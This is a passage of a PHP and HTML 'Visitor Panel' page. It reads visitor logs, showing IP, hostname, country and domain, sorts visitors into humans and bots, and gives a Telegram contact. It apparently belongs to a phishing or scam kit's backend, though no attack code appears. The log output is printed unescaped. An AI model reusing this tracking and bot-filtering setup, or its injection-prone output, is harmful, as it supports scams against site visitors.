.alert.alert-dark a {
  color: #4ef07a;
  text-decoration: none;
}
.alert.alert-dark a:hover {
  text-decoration: underline;
  color: #23c16b;
}

/* Card wrapper */
.card {
  background: linear-gradient(180deg, #0b1720, #071017);
  border: 1px solid rgba(78,240,122,0.1);
  border-radius: 14px;
  box-shadow: 0 0 25px rgba(78,240,122,0.05);
  color: #d8f3e1;
  font-family: 'Inter', system-ui, -apple-system, 'Segoe UI', Roboto;
}
.card h5, .card h6 {
  color: #4ef07a;
  font-weight: 600;
}
.card hr {
  border-color: rgba(255,255,255,0.05);
}

/* Main visitor table */
.table {
  border: 1px solid rgba(255,255,255,0.05);
  font-family: 'JetBrains Mono', monospace;
}
.table thead {
  background: rgba(78,240,122,0.1);
  color: #8fd6a6;
  text-transform: uppercase;
  font-size: 0.85rem;
  letter-spacing: 0.3px;
}
.table tbody tr {
  border-bottom: 1px solid rgba(255,255,255,0.04);
  transition: 0.25s;
}
.table tbody tr:hover {
  background: rgba(78,240,122,0.05);
}
.table td {
  color: #d8f3e1;
}
.text-body-secondary {
  color: #9fb4c2 !important;
}

/* Visitor summary box */
.card .table {
  background: rgba(78,240,122,0.04);
  border-radius: 10px;
}
.card .table th {
  color: #8fd6a6;
}
.card .table td {
  color: #d8f3e1;
  font-weight: 500;
}

/* Scroll area */
#table_visitor {
  max-height: 280px;
  overflow-y: auto !important;
  scrollbar-width: thin;
  scrollbar-color: #4ef07a #0b1720;
}
#table_visitor::-webkit-scrollbar {
  width: 6px;
}
#table_visitor::-webkit-scrollbar-thumb {
  background-color: #4ef07a;
  border-radius: 6px;
}
</style>
							
							
							<div class="alert alert-dark" role="alert">
								<?php $url1 = $_SERVER['REQUEST_URI'];
								header("Refresh: 5; URL=$url1"); ?>
								<h4 class="alert-heading">Home Page</h4>
								<hr>
								<p class="mb-0">Contact me on <a href="https://t.me/leechaerin26">Telegram</a></p>
							</div>
							<div class="card">
								<br>
								<div class="card-body">
									<h5 class="card-title">Visitor Panel</h5>
									<h6 class="card-subtitle mb-2 text-body-secondary">Here you can check your visitor list</h6>
									<hr>
									<div id="table_visitor" class="table-responsive" style="height: 250px; overflow-y: hidden;">
										<table class="table table-bordered">
											<thead class="thead-dark">
												<tr>
													<th>DATE </th>
													<th>TYPE </th>
													<th>INFO</th>
													<th>IP</th>
													<th>HOSTNAME</th>
													<th>COUNTRY</th>
													<th>DOMAIN</th>
												</tr>
											</thead>
											<tbody>
												<?php
												if (count($pecah) > 0) {
													$asu = preg_replace("/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/", "\n", $pecah);
													foreach (array_reverse($asu) as $k) {
														$p = @explode("|", $k);
												?>
														<tr>
															<td id="ayam">
																<?= @$p[0] ?>
															</td>
															<td>
																<?= @$p[1] ?>
															</td>
															<td>
																<?= @$p[2] ?>
															</td>
															<td>
																<?= @$p[3] ?>
															</td>
															<td>
																<?= @$p[4] ?>
															</td>
															<td>
																<?= @$p[5] ?>
															</td>
															<td>
																<?= @$p[6] ?>
															</td>
														</tr>
												<?php
													}
												} else {
													echo "<tr><td colspan=6>No Recent Log</td></tr>";
												}
												?>
											</tbody>
										</table>
									</div>
									<hr>
									<div class="card" style="width: 20rem;">
										<div class="card-body">
											<div class="table-responsive">
												<table class="table">
													<thead class="thead-dark">
														<tr>
															<th>VISITOR DATA</th>
															<th>TOTAL</th>
														</tr>
													</thead>
													<tbody>
														<tr>
															<td>HUMAN</td>
															<td><?php $baca = file_get_contents("access.txt");
																echo substr_count($baca, 'HUMAN'); ?></td>
														</tr>
														<tr>
															<td>BOT</td>
															<td><?php $baca = file_get_contents("access.txt");
																echo substr_count($baca, 'BOT'); ?></td>
													</tbody>
												</table>
											</div>

										<?php
									}
										?>
										</div>
									</div>
								</div>
							</div>
							<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>
	</body>
	<script>
		$("#ayam").each(function() {
			if (this.innerText === '') {
				this.closest('tr').remove();
			}
		});
	</script>

	</html>
	</div>
	</div>
	<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ENjdO4Dr2bkBIFxQpeoTz1HIcje39Wm4jDKdf19U8gI4ddQ3GYNS7NTKfAdVQSZe" crossorigin="anonymous"></script>
	</body>

	</html>